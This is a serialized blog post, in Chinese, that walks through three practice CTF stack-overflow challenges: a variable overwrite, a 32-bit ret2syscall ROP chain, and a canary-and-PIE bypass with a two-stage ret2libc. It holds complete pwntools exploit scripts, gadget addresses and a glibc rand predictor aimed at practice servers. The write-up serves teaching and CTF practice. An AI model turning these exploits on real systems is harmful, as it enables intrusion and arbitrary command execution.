[{"data":1,"prerenderedAt":1177},["ShallowReactive",2],{"content:\u002F2026\u002Fweek7-stack-overflow":3,"surround:\u002F2026\u002Fweek7-stack-overflow":1166},{"id":4,"title":5,"body":6,"categories":1142,"date":1144,"description":1145,"draft":1146,"extension":1147,"image":1148,"meta":1149,"navigation":1152,"path":1153,"permalink":1154,"published":1154,"readingTime":1155,"recommend":1154,"references":1154,"seo":1160,"sitemap":1161,"stem":1162,"tags":1163,"type":1164,"updated":1154,"__hash__":1165},"content\u002Fposts\u002F2026\u002Fweek7-stack-overflow.md","栈溢出几道题",{"type":7,"value":8,"toc":1117},"minimark",[9,13,16,43,46,51,56,72,82,93,96,103,113,131,139,156,159,169,177,187,194,196,200,204,234,241,248,308,329,354,360,363,391,398,466,469,484,498,501,508,514,550,570,573,575,579,583,593,632,649,653,658,664,667,726,729,750,756,763,767,774,780,805,811,815,821,838,844,848,855,881,897,900,950,957,996,1021,1043,1046,1052,1055,1081,1083,1086,1089,1110],[10,11,12],"p",{},"这次的三道栈溢出题，难度是递进的。第一道只需要覆盖一个局部变量就能触发后门，第二道是 32 位静态链接的 ret2syscall，第三道就上了 canary 和 PIE，还得先预测随机数、再泄露地址、最后两段式 ret2libc。三道题正好把\"栈溢出\"这条线的几个关键点都串起来了，记录一下。",[10,14,15],{},"复现链接：",[17,18,19,29,36],"ul",{},[20,21,22,23],"li",{},"题目一（覆盖变量）：",[24,25,26],"a",{"href":26,"rel":27},"https:\u002F\u002Fwww.nssctf.cn\u002Fproblem\u002F7227",[28],"nofollow",[20,30,31,32],{},"题目二（ret2syscall）：",[24,33,34],{"href":34,"rel":35},"https:\u002F\u002Fwww.nssctf.cn\u002Fproblem\u002F6490",[28],[20,37,38,39],{},"题目三（canary+PIE+ret2libc）：",[24,40,41],{"href":41,"rel":42},"https:\u002F\u002Fwww.nssctf.cn\u002Fproblem\u002F7163",[28],[44,45],"hr",{},[47,48,50],"h2",{"id":49},"题目一覆盖局部变量触发后门","题目一：覆盖局部变量触发后门",[52,53,55],"h3",{"id":54},"前置知识栈帧和-gets","前置知识：栈帧和 gets",[10,57,58,59,63,64,68,69,71],{},"函数调用的时候，栈上会开一块空间放局部变量，这就是",[60,61,62],"strong",{},"栈帧","。以 x86-64 为例，进入函数后 ",[65,66,67],"code",{"code":67},"rbp"," 指向栈帧底部，局部变量和缓冲区按地址从高到低依次放在 ",[65,70,67],{"code":67}," 下方（负偏移）。",[10,73,74,77,78,81],{},[65,75,76],{"code":76},"gets()"," 这个函数最大的问题就是",[60,79,80],{},"不检查输入长度","，你给多少它就往缓冲区里写多少，写穿了缓冲区就会一路往上覆盖别的局部变量，甚至覆盖返回地址。",[10,83,84,85,88,89,92],{},"这道题没有 canary，没有 PIE，连栈都是可执行的（",[65,86,87],{"code":87},"checksec"," 显示 ",[65,90,91],{"code":91},"NX unknown - GNU_STACK missing","），属于非常友好的入门题。",[52,94,95],{"id":95},"逆向分析",[10,97,98,99,102],{},"用 IDA 或 Ghidra 看 ",[65,100,101],{"code":101},"main","，逻辑很清晰：",[104,105,111],"pre",{"className":106,"code":108,"language":109,"meta":110},[107],"language-c","int main() {\n    int flag = 0;               \u002F\u002F 在 rbp-0x4\n    char buf[0x300];            \u002F\u002F 在 rbp-0x310 附近\n    init();\n    puts(\"这是一个不以...\");     \u002F\u002F 提示语\n    gets(buf);                  \u002F\u002F 危险函数\n    if (flag != 0) {            \u002F\u002F cmp [rbp-0x4], 0\n        puts(\"喜欢扔的礼物吧\");\n        system(\"\u002Fbin\u002Fsh\");      \u002F\u002F 后门\n    }\n    return 0;\n}\n","c","",[65,112,108],{"__ignoreMap":110},[10,114,115,118,119,122,123,126,127,130],{},[65,116,117],{"code":117},"buf"," 的地址是 ",[65,120,121],{"code":121},"rbp-0x310","，那个用来判断的变量 ",[65,124,125],{"code":125},"flag"," 在 ",[65,128,129],{"code":129},"rbp-0x4","。两者在栈上是相邻的，中间隔着：",[104,132,137],{"className":133,"code":135,"language":136},[134],"language-text","0x310 - 0x4 = 0x30c = 780 字节\n","text",[65,138,135],{"__ignoreMap":110},[10,140,141,142,144,145,147,148,151,152,155],{},"也就是说，只要往 ",[65,143,117],{"code":117}," 里写超过 780 字节，就能覆盖到 ",[65,146,125],{"code":125}," 变量，把它从 0 改成非 0，从而绕过 ",[65,149,150],{"code":150},"if"," 判断，直接触发后面的 ",[65,153,154],{"code":154},"system(\"\u002Fbin\u002Fsh\")","。",[52,157,158],{"id":158},"利用思路",[10,160,161,162,168],{},"不用管返回地址，也不用 ROP，就一个目标：",[60,163,164,165,167],{},"把 ",[65,166,125],{"code":125}," 变量覆盖成非 0","。偏移是 780 字节，后面接上 4 个字节的非零值即可。",[104,170,175],{"className":171,"code":173,"language":174,"meta":110},[172],"language-python","from pwn import *\n\ncontext.arch = 'amd64'\np = remote('node1.anna.nssctf.cn', 23779)   # 端口按实际环境填\n\noffset = 0x30c\npayload = b'A' * offset + p32(1)   # 780 字节填充 + 非零值覆盖 flag\n\np.sendline(payload)\np.interactive()   # 拿到 shell 后 cat flag\n","python",[65,176,173],{"__ignoreMap":110},[10,178,179,180,182,183,186],{},"跑起来之后 ",[65,181,154],{"code":154}," 被执行，直接弹出一个 shell，",[65,184,185],{"code":185},"cat"," 一下就能读到 flag。",[10,188,189,190,193],{},"这道题虽然简单，但它把\"栈溢出覆盖相邻变量\"这个最基础的思路讲清楚了：",[60,191,192],{},"缓冲区越界写，最先被污染的就是紧挨着它的那些局部变量","，而不一定是返回地址。",[44,195],{},[47,197,199],{"id":198},"题目二32-位静态链接的-ret2syscall","题目二：32 位静态链接的 ret2syscall",[52,201,203],{"id":202},"前置知识32-位系统调用和-rop","前置知识：32 位系统调用和 ROP",[10,205,206,207,209,210,213,214,221,222,225,226,229,230,233],{},"第二道是 32 位、静态链接、开了 NX。",[65,208,87],{"code":87}," 的结果是 ",[65,211,212],{"code":212},"NX enabled","，说明栈不可执行，shellcode 这条路堵死了。而且二进制里",[60,215,216,217,220],{},"没有 ",[65,218,219],{"code":219},"system"," 函数","（",[65,223,224],{"code":224},"nm"," 里只有 ",[65,227,228],{"code":228},"_IO_gets","、",[65,231,232],{"code":232},"_IO_puts","），所以也没法直接 ret2libc。",[10,235,236,237,240],{},"这种情况下的标准做法是 ",[60,238,239],{},"ret2syscall","：自己用 ROP 链拼出一次系统调用。",[10,242,243,244,247],{},"32 位下系统调用的约定和 64 位不一样，它走的是 ",[65,245,246],{"code":246},"int 0x80"," 中断，参数用寄存器传：",[249,250,251,264],"table",{},[252,253,254],"thead",{},[255,256,257,261],"tr",{},[258,259,260],"th",{},"寄存器",[258,262,263],{},"含义",[265,266,267,278,288,298],"tbody",{},[255,268,269,275],{},[270,271,272],"td",{},[65,273,274],{"code":274},"eax",[270,276,277],{},"系统调用号",[255,279,280,285],{},[270,281,282],{},[65,283,284],{"code":284},"ebx",[270,286,287],{},"第 1 个参数",[255,289,290,295],{},[270,291,292],{},[65,293,294],{"code":294},"ecx",[270,296,297],{},"第 2 个参数",[255,299,300,305],{},[270,301,302],{},[65,303,304],{"code":304},"edx",[270,306,307],{},"第 3 个参数",[10,309,310,313,314,221,317,320,321,324,325,328],{},[65,311,312],{"code":312},"execve"," 的系统调用号是 ",[65,315,316],{"code":316},"11",[65,318,319],{"code":319},"0xb","），签名是 ",[65,322,323],{"code":323},"execve(path, argv, envp)","。我们想要执行 ",[65,326,327],{"code":327},"\u002Fbin\u002Fsh","，就让：",[17,330,331,336,342,348],{},[20,332,333],{},[65,334,335],{"code":335},"eax = 0xb",[20,337,338,341],{},[65,339,340],{"code":340},"ebx = \"\u002Fbin\u002Fsh\""," 的地址",[20,343,344,347],{},[65,345,346],{"code":346},"ecx = 0","（argv 为 NULL）",[20,349,350,353],{},[65,351,352],{"code":352},"edx = 0","（envp 为 NULL）",[10,355,356,357,359],{},"然后 ",[65,358,246],{"code":246}," 触发。",[52,361,95],{"id":362},"逆向分析-1",[10,364,365,367,368,371,372,375,376,379,380,383,384,386,387,390],{},[65,366,101],{"code":101}," 里有 ",[65,369,370],{"code":370},"and esp, 0xfffffff0"," 对齐、",[65,373,374],{"code":374},"sub esp, 0x80"," 开栈，缓冲区在 ",[65,377,378],{"code":378},"esp+0x1c","，然后 ",[65,381,382],{"code":382},"gets"," 读入。字符串里直接躺着一个 ",[65,385,327],{"code":327},"（地址 ",[65,388,389],{"code":389},"0x80be408","），省得我们再往 bss 里写。",[10,392,393,394,397],{},"因为是静态链接，整个 libc 都被编译进来了，",[65,395,396],{"code":396},"ROPgadget"," 一搜就是一大堆 gadget，找齐了四个关键片段：",[249,399,400,413],{},[252,401,402],{},[255,403,404,407,410],{},[258,405,406],{},"gadget",[258,408,409],{},"地址",[258,411,412],{},"作用",[265,414,415,428,441,454],{},[255,416,417,422,425],{},[270,418,419],{},[65,420,421],{"code":421},"pop eax; ret",[270,423,424],{},"0x080bb196",[270,426,427],{},"设置系统调用号",[255,429,430,435,438],{},[270,431,432],{},[65,433,434],{"code":434},"pop ecx; pop ebx; ret",[270,436,437],{},"0x0806eb91",[270,439,440],{},"设置 ecx 和 ebx",[255,442,443,448,451],{},[270,444,445],{},[65,446,447],{"code":447},"pop edx; ret",[270,449,450],{},"0x0806eb6a",[270,452,453],{},"设置 edx",[255,455,456,460,463],{},[270,457,458],{},[65,459,246],{"code":246},[270,461,462],{},"0x08049421",[270,464,465],{},"触发系统调用",[52,467,468],{"id":468},"确定偏移",[10,470,471,472,474,475,477,478,480,481,483],{},"偏移这里有个小坑。",[65,473,101],{"code":101}," 开头做了 ",[65,476,370],{"code":370}," 对齐，再 ",[65,479,374],{"code":374},"，缓冲区在 ",[65,482,378],{"code":378},"。缓冲区到返回地址的距离跟栈的对齐状态有关，不是个死数。",[10,485,486,487,490,491,494,495,497],{},"按 32 位 ABI，函数入口处 ",[65,488,489],{"code":489},"esp % 16 == 12","，顺着算下来偏移应该是 ",[65,492,493],{"code":493},"0x70","（112 字节）。我直接用 ",[65,496,493],{"code":493}," 试了一下，一次就通了，说明这个推导是对的。",[52,499,158],{"id":500},"利用思路-1",[10,502,503,504,507],{},"ROP 链按 ",[65,505,506],{"code":506},"eax → ecx\u002Febx → edx → int 0x80"," 的顺序摆好：",[104,509,512],{"className":510,"code":511,"language":174,"meta":110},[172],"from pwn import *\n\ncontext.arch = 'i386'\np = remote('node1.anna.nssctf.cn', 22657)   # 端口按实际环境填\n\npop_eax     = 0x080bb196\npop_ecx_ebx = 0x0806eb91\npop_edx     = 0x0806eb6a\nint80       = 0x08049421\nbinsh       = 0x080be408\n\noffset = 0x70\npayload  = b'A' * offset\npayload += p32(pop_eax) + p32(0xb)              # eax = 11 (execve)\npayload += p32(pop_ecx_ebx) + p32(0) + p32(binsh)  # ecx=0, ebx=\u002Fbin\u002Fsh\npayload += p32(pop_edx) + p32(0)                # edx = 0\npayload += p32(int80)                           # int 0x80\n\np.sendline(payload)\np.interactive()\n",[65,513,511],{"__ignoreMap":110},[10,515,516,517,520,521,523,524,527,528,531,532,535,536,538,539,542,543,545,546,549],{},"链子的执行过程就是：先 ",[65,518,519],{"code":519},"pop eax"," 把 ",[65,522,319],{"code":319}," 弹给 eax，",[65,525,526],{"code":526},"ret"," 跳到下一个 gadget；",[65,529,530],{"code":530},"pop ecx; pop ebx"," 依次把 ",[65,533,534],{"code":534},"0"," 和 ",[65,537,327],{"code":327}," 地址弹进去；再 ",[65,540,541],{"code":541},"pop edx"," 把 edx 清零；最后 ",[65,544,246],{"code":246}," 触发 ",[65,547,548],{"code":548},"execve(\"\u002Fbin\u002Fsh\", NULL, NULL)","，拿到 shell。",[551,552,553],"blockquote",{},[10,554,555,556,558,559,562,563,566,567,569],{},"注意：",[65,557,382],{"code":382}," 读到换行就停，所以 payload 里不能出现 ",[65,560,561],{"code":561},"\\x0a","。上面这些地址的字节里都没有 ",[65,564,565],{"code":565},"0a","，可以直接用。要是某个 gadget 地址碰巧带 ",[65,568,565],{"code":565},"，就得换个等价 gadget。",[10,571,572],{},"这道题的核心是理解 32 位的系统调用约定，以及\"静态链接没 system 就自己拼 syscall\"这个思路。",[44,574],{},[47,576,578],{"id":577},"题目三canarypie-下的两段式-ret2libc","题目三：canary+PIE 下的两段式 ret2libc",[52,580,582],{"id":581},"前置知识canarypie-和-relro","前置知识：canary、PIE 和 RELRO",[10,584,585,586,588,589,592],{},"第三道是三道里最麻烦的。",[65,587,87],{"code":87}," 全绿：",[60,590,591],{},"canary 开、PIE 开、Full RELRO、NX","，属于防护拉满的类型。",[17,594,595,616,626],{},[20,596,597,600,601,604,605,608,609,612,613,155],{},[60,598,599],{},"canary（栈金丝雀）","：函数入口从 ",[65,602,603],{"code":603},"fs:0x28"," 读一个随机值放到栈上（",[65,606,607],{"code":607},"rbp-0x8","），返回前再比对一次，被覆盖就调用 ",[65,610,611],{"code":611},"__stack_chk_fail"," 直接退出。所以溢出时",[60,614,615],{},"必须先把 canary 原样填回去",[20,617,618,621,622,625],{},[60,619,620],{},"PIE","：程序加载基址随机，所有代码地址都是 ",[65,623,624],{"code":624},"基址 + 偏移","。ROP 之前得先泄露出基址。",[20,627,628,631],{},[60,629,630],{},"Full RELRO","：GOT 表只读，不能改，所以只能靠泄露地址再跳 libc。",[10,633,634,635,229,638,229,641,644,645,648],{},"好消息是，程序里提供了三个现成的 gadget 函数：",[65,636,637],{"code":637},"pop_rdi_ret",[65,639,640],{"code":640},"pop_rsi_ret",[65,642,643],{"code":643},"pop_rdx_ret","，还有一个 ",[65,646,647],{"code":647},"gift"," 函数专门用来泄露。",[52,650,652],{"id":651},"逆向分析main-的随机数校验","逆向分析：main 的随机数校验",[10,654,655,657],{},[65,656,101],{"code":101}," 一开始会先出一道\"猜随机数\"的题：",[104,659,662],{"className":660,"code":661,"language":109,"meta":110},[107],"int main() {\n    int size;\n    setvbuf(...);\n    puts(\"Can you guess my random number?\");\n    puts(\"Input size: \");\n    scanf(\"%d\", &size);\n    if (size > 5) { puts(\"Size too large\"); exit(0); }\n\n    puts(\"Input random number: \");\n    read(0, buf, min(size, 0xff));\n    \u002F\u002F 把 buf 末尾补 0，strtol 转成数字\n    long guess = strtol(buf, NULL, 10);\n\n    srand(0x1fff000);          \u002F\u002F 固定种子！\n    long target = rand();\n    if (guess == target) {\n        gift();                \u002F\u002F 泄露\n        vuln();                \u002F\u002F 溢出点\n    } else {\n        puts(\"Wrong random number, you are failed!\");\n        exit(0);\n    }\n}\n",[65,663,661],{"__ignoreMap":110},[10,665,666],{},"两个关键点：",[668,669,670,684],"ol",{},[20,671,672,675,676,679,680,683],{},[60,673,674],{},"种子是固定的"," ",[65,677,678],{"code":678},"0x1fff000","，所以 ",[65,681,682],{"code":682},"rand()"," 的结果是可预测的。",[20,685,686,687,690,691,694,695,698,699,702,703,706,707,710,711,714,715,718,719,722,723,725],{},"那个 ",[65,688,689],{"code":689},"size"," 只检查了\"大于 5 就退出\"，",[60,692,693],{},"没检查负数","。而后面 ",[65,696,697],{"code":697},"read"," 的长度是 ",[65,700,701],{"code":701},"min(size, 0xff)","，用的是",[60,704,705],{},"无符号","比较。如果我传 ",[65,708,709],{"code":709},"size = -1","（无符号就是 ",[65,712,713],{"code":713},"0xffffffff","），",[65,716,717],{"code":717},"min(-1, 0xff)"," 就等于 ",[65,720,721],{"code":721},"0xff = 255","，一下就能读进 255 字节，足够塞下 10 位数字的 ",[65,724,682],{"code":682}," 结果。",[52,727,728],{"id":728},"预测随机数",[10,730,731,733,734,737,738,741,742,745,746,749],{},[65,732,682],{"code":682}," 用的是 glibc 的实现，也就是 ",[65,735,736],{"code":736},"random()"," 的 TYPE_3 变体。种子 ",[65,739,740],{"code":740},"srand(0x1fff000)"," 固定，所以结果也固定。我把 glibc 的算法用 Python 复现了一遍（先拿 ",[65,743,744],{"code":744},"srand(1)"," 的经典结果 ",[65,747,748],{"code":748},"1804289383"," 验证过是对的）：",[104,751,754],{"className":752,"code":753,"language":174,"meta":110},[172],"M = 2147483647\n\ndef glibc_rand(seed):\n    if seed == 0:\n        seed = 1\n    state = [0] * 31\n    word = seed\n    state[0] = word\n    for i in range(1, 31):\n        hi = word \u002F\u002F 127773\n        lo = word % 127773\n        word = 16807 * lo - 2836 * hi\n        if word \u003C 0:\n            word += M\n        state[i] = word\n\n    fptr, rptr = 3, 0\n    def step():\n        nonlocal fptr, rptr\n        val = (state[fptr] + state[rptr]) & 0xffffffff\n        state[fptr] = val & 0xffffffff\n        res = val >> 1\n        fptr += 1\n        if fptr >= 31:\n            fptr = 0; rptr += 1\n        else:\n            rptr += 1\n            if rptr >= 31: rptr = 0\n        return res\n\n    for _ in range(310):   # srandom 会先丢弃 310 个值热身\n        step()\n    return step()\n\nprint(glibc_rand(0x1fff000))   # 1536235749\n",[65,755,753],{"__ignoreMap":110},[10,757,758,759,762],{},"算出来 ",[65,760,761],{"code":761},"rand() = 1536235749","。这就是要猜的数。",[52,764,766],{"id":765},"泄露-canary-和-pie-基址","泄露 canary 和 PIE 基址",[10,768,769,770,773],{},"过了随机数校验后，会调用 ",[65,771,772],{"code":772},"gift()","：",[104,775,778],{"className":776,"code":777,"language":109,"meta":110},[107],"void gift() {\n    char buf[0x100];\n    long canary = *(long *)(rbp - 0x8);   \u002F\u002F 读 canary\n    long pie    = 0;                       \u002F\u002F 实际上 lea 算出来是 PIE 基址\n    puts(\"Oh! You are so smart! Here are some gift for you!\");\n    snprintf(buf, 0x100, \"0x%016lx\\n0x%016lx\\n\", canary, pie);\n    write(1, buf, len);\n}\n",[65,779,777],{"__ignoreMap":110},[10,781,782,783,786,787,790,791,794,795,798,799,801,802,804],{},"它会打印两个十六进制数：第一个是 ",[60,784,785],{},"canary","，第二个是 ",[60,788,789],{},"PIE 基址","。这里有个小坑：",[65,792,793],{"code":793},"puts"," 打印的那句提示语字符串本身末尾带了一个 ",[65,796,797],{"code":797},"\\n","，",[65,800,793],{"code":793}," 又会再补一个 ",[65,803,797],{"code":797},"，所以输出里提示语后面会连着两个换行，解析的时候得注意跳过空行。",[104,806,809],{"className":807,"code":808,"language":174,"meta":110},[172],"import re\np.recvuntil(b'gift for you!')\ndata = p.recvuntil(b'happily!\\n')\ncanary, pie = map(lambda x: int(x, 16), re.findall(rb'0x[0-9a-fA-F]+', data))\n",[65,810,808],{"__ignoreMap":110},[52,812,814],{"id":813},"漏洞点-vuln","漏洞点 vuln",[104,816,819],{"className":817,"code":818,"language":109,"meta":110},[107],"void vuln() {\n    char buf[0x70];                    \u002F\u002F rbp-0x70\n    long canary = *(long *)(rbp - 0x8);\n    write(1, \"Now You can smashing happily!\\n\", 0x1e);\n    read(0, buf, 0x120);               \u002F\u002F 读 0x120 字节到 0x70 的缓冲区\n    \u002F\u002F canary 检查\n}\n",[65,820,818],{"__ignoreMap":110},[10,822,823,824,826,827,830,831,833,834,837],{},"缓冲区 ",[65,825,493],{"code":493}," 字节，却读 ",[65,828,829],{"code":829},"0x120"," 字节，明显溢出。canary 在 ",[65,832,607],{"code":607},"，从缓冲区算偏移是 ",[65,835,836],{"code":836},"0x70 - 0x8 = 0x68","（104 字节）。所以 payload 布局是：",[104,839,842],{"className":840,"code":841,"language":136},[134],"104 字节填充 + canary(8字节) + 8字节(覆盖旧rbp) + ROP链\n",[65,843,841],{"__ignoreMap":110},[52,845,847],{"id":846},"两段式-rop先泄露-libc再-getshell","两段式 ROP：先泄露 libc，再 getshell",[10,849,850,851,854],{},"因为开了 PIE，所有 gadget 地址都得 ",[65,852,853],{"code":853},"pie + 偏移","。而 libc 的基址不知道，所以要先泄露。整个过程分两段：",[10,856,857,860,861,520,864,867,868,871,872,874,875,877,878,880],{},[60,858,859],{},"第一段","：用 ",[65,862,863],{"code":863},"pop rdi; ret",[65,865,866],{"code":866},"puts@got"," 传给 ",[65,869,870],{"code":870},"puts@plt","，打印出 ",[65,873,793],{"code":793}," 在 libc 里的真实地址，然后 ",[65,876,526],{"code":526}," 回 ",[65,879,101],{"code":101}," 重新走一遍流程。",[10,882,883,886,887,889,890,535,892,894,895,155],{},[60,884,885],{},"第二段","：根据泄露的 ",[65,888,793],{"code":793}," 地址算出 libc 基址，再算 ",[65,891,219],{"code":219},[65,893,327],{"code":327}," 的地址，直接 ",[65,896,154],{"code":154},[10,898,899],{},"几个关键偏移（都是 PIE 相对偏移）：",[249,901,902,912],{},[252,903,904],{},[255,905,906,909],{},[258,907,908],{},"符号",[258,910,911],{},"偏移",[265,913,914,923,932,941],{},[255,915,916,920],{},[270,917,918],{},[65,919,870],{"code":870},[270,921,922],{},"0x10f0",[255,924,925,929],{},[270,926,927],{},[65,928,866],{"code":866},[270,930,931],{},"0x3f80",[255,933,934,938],{},[270,935,936],{},[65,937,101],{"code":101},[270,939,940],{},"0x1451",[255,942,943,947],{},[270,944,945],{},[65,946,863],{"code":863},[270,948,949],{},"0x13fe",[10,951,952,953,956],{},"libc（题目给的 ",[65,954,955],{"code":955},"libc.so.6","）：",[249,958,959,967],{},[252,960,961],{},[255,962,963,965],{},[258,964,908],{},[258,966,911],{},[265,968,969,978,987],{},[255,970,971,975],{},[270,972,973],{},[65,974,793],{"code":793},[270,976,977],{},"0x80e50",[255,979,980,984],{},[270,981,982],{},[65,983,219],{"code":219},[270,985,986],{},"0x50d70",[255,988,989,993],{},[270,990,991],{},[65,992,327],{"code":327},[270,994,995],{},"0x1d8678",[10,997,998,999,1002,1003,1006,1007,1010,1011,1017,1018,1020],{},"这里还有个细节：那三个 ",[65,1000,1001],{"code":1001},"pop_xxx_ret"," 函数虽然符号名就叫这个，但它们其实是带 prologue 的完整函数（开头有 ",[65,1004,1005],{"code":1005},"endbr64; push rbp; sub rsp,0x10"," 这些）。如果直接跳函数开头，prologue 会把栈搞乱，",[65,1008,1009],{"code":1009},"pop rdi"," 弹出来的就不是我们想要的值了。所以要用",[60,1012,1013,1014,1016],{},"函数内部的真正 ",[65,1015,863],{"code":863}," 指令","，也就是 ",[65,1019,949],{"code":949},"（跳过 prologue）。",[10,1022,1023,1024,1026,1027,1029,1030,221,1032,1035,1036,1038,1039,1042],{},"另外 x86-64 下调用 ",[65,1025,219],{"code":219}," 要求栈 16 字节对齐，所以第二段在 ",[65,1028,863],{"code":863}," 前面补了一个 ",[65,1031,526],{"code":526},[65,1033,1034],{"code":1034},"0x13ff","）来对齐，否则 ",[65,1037,219],{"code":219}," 内部 ",[65,1040,1041],{"code":1041},"movaps"," 会崩。",[10,1044,1045],{},"完整 exp：",[104,1047,1050],{"className":1048,"code":1049,"language":174,"meta":110},[172],"from pwn import *\nimport re\n\ncontext.arch = 'amd64'\nlibc = ELF('.\u002Flibc.so.6')\nputs_off   = libc.symbols['puts']\nsystem_off = libc.symbols['system']\nbinsh_off  = next(libc.search(b'\u002Fbin\u002Fsh\\x00'))\n\nRAND = 1536235749\nputs_plt, puts_got, main = 0x10f0, 0x3f80, 0x1451\npop_rdi_ret, ret = 0x13fe, 0x13ff\n\ndef guess(p):\n    p.sendlineafter(b'Input size: ', b'-1')\n    p.sendlineafter(b'Input random number: ', str(RAND).encode())\n\ndef get_gift(p):\n    p.recvuntil(b'gift for you!')\n    data = p.recvuntil(b'happily!\\n')\n    vals = re.findall(rb'0x[0-9a-fA-F]+', data)\n    return int(vals[0], 16), int(vals[1], 16)\n\np = remote('node1.anna.nssctf.cn', 25092)   # 端口按实际环境填\n\n# 第一段：泄露 puts 地址\nguess(p)\ncanary, pie = get_gift(p)\n\npayload1  = b'A' * 0x68 + p64(canary) + b'B' * 8\npayload1 += p64(pie + pop_rdi_ret) + p64(pie + puts_got)\npayload1 += p64(pie + puts_plt) + p64(pie + main)\np.send(payload1)\n\ndata = p.recvuntil(b'Can you guess my random number?')\nputs_addr = u64(data[:6].ljust(8, b'\\x00'))\nlibc_base = puts_addr - puts_off\n\n# 第二段：ret2libc\nguess(p)\ncanary2, pie2 = get_gift(p)\n\nsystem = libc_base + system_off\nbinsh  = libc_base + binsh_off\n\npayload2  = b'A' * 0x68 + p64(canary2) + b'B' * 8\npayload2 += p64(pie2 + ret) + p64(pie2 + pop_rdi_ret) + p64(binsh) + p64(system)\np.send(payload2)\n\np.interactive()\n",[65,1051,1049],{"__ignoreMap":110},[10,1053,1054],{},"跑完拿到 shell，读 flag 即可。",[551,1056,1057],{},[10,1058,1059,1060,1062,1063,1065,1066,1069,1070,679,1072,1074,1075,1077,1078,155],{},"补充一个小细节：泄露 ",[65,1061,793],{"code":793}," 地址时，",[65,1064,793],{"code":793}," 打印的是字符串，遇到 ",[65,1067,1068],{"code":1068},"\\x00"," 就停。64 位用户态地址高两字节本来就是 ",[65,1071,534],{"code":534},[65,1073,793],{"code":793}," 只会输出 6 个有效字节，后面自己补 ",[65,1076,1068],{"code":1068}," 就能还原出完整地址。这也是为什么代码里用 ",[65,1079,1080],{"code":1080},"data[:6]",[44,1082],{},[47,1084,1085],{"id":1085},"总结",[10,1087,1088],{},"三道题从易到难，把栈溢出这条线的关键点都过了一遍：",[668,1090,1091,1097,1104],{},[20,1092,1093,1096],{},[60,1094,1095],{},"覆盖局部变量","：溢出最先污染的是相邻变量，不一定非要去打返回地址。",[20,1098,1099,1101,1102,155],{},[60,1100,239],{},"：静态链接、没有 system、又开了 NX 时，可以自己用 ROP 拼系统调用，32 位下是 ",[65,1103,246],{"code":246},[20,1105,1106,1109],{},[60,1107,1108],{},"canary + PIE 的组合拳","：先想办法泄露 canary 和基址，再两段式先泄露 libc 再 getshell，还要注意 gadget 的 prologue 和栈对齐这种细节。",[10,1111,1112,1113,1116],{},"每个防护机制都有自己的绕过套路，关键是搞清楚",[60,1114,1115],{},"防护在防什么、信息从哪泄露","。这三道题分别是三个台阶，踩稳了，后面的堆利用才好往下走。",{"title":110,"searchDepth":1118,"depth":1118,"links":1119},4,[1120,1127,1133,1141],{"id":49,"depth":1121,"text":50,"children":1122},2,[1123,1125,1126],{"id":54,"depth":1124,"text":55},3,{"id":95,"depth":1124,"text":95},{"id":158,"depth":1124,"text":158},{"id":198,"depth":1121,"text":199,"children":1128},[1129,1130,1131,1132],{"id":202,"depth":1124,"text":203},{"id":362,"depth":1124,"text":95},{"id":468,"depth":1124,"text":468},{"id":500,"depth":1124,"text":158},{"id":577,"depth":1121,"text":578,"children":1134},[1135,1136,1137,1138,1139,1140],{"id":581,"depth":1124,"text":582},{"id":651,"depth":1124,"text":652},{"id":728,"depth":1124,"text":728},{"id":765,"depth":1124,"text":766},{"id":813,"depth":1124,"text":814},{"id":846,"depth":1124,"text":847},{"id":1085,"depth":1121,"text":1085},[1143],"未分类","2026-08-22","三道栈溢出题：覆盖变量触发后门、静态链接的 ret2syscall，以及 canary+PIE 下的两段式 ret2libc",false,"md","\u002Fweek7-stack-overflow-cover.jpg",{"category":1150,"slots":1151},"安全",{},true,"\u002F2026\u002Fweek7-stack-overflow",null,{"text":1156,"minutes":1157,"time":1158,"words":1159},"14 min read",13.75,825000,2750,{"title":5,"description":1145},{"loc":1153},"posts\u002F2026\u002Fweek7-stack-overflow",[],"tech","FejVX9AnWMrc1Dc1_DynhRTBYmGzUAlyZHQTVtSkKA4",[1167,1172],{"title":1168,"path":1169,"stem":1170,"date":1171,"type":1164,"children":-1},"流量分析两道题WP","\u002F2026\u002Fweek6-traffic-analysis","posts\u002F2026\u002Fweek6-traffic-analysis","2026-08-14",{"title":1173,"path":1174,"stem":1175,"date":1176,"type":1164,"children":-1},"MoeCTF 2026 WP 合集","\u002F2026\u002Fmoectf-xdctf-wp","posts\u002F2026\u002Fmoectf-xdctf-wp","2026-09-02",1790348237538]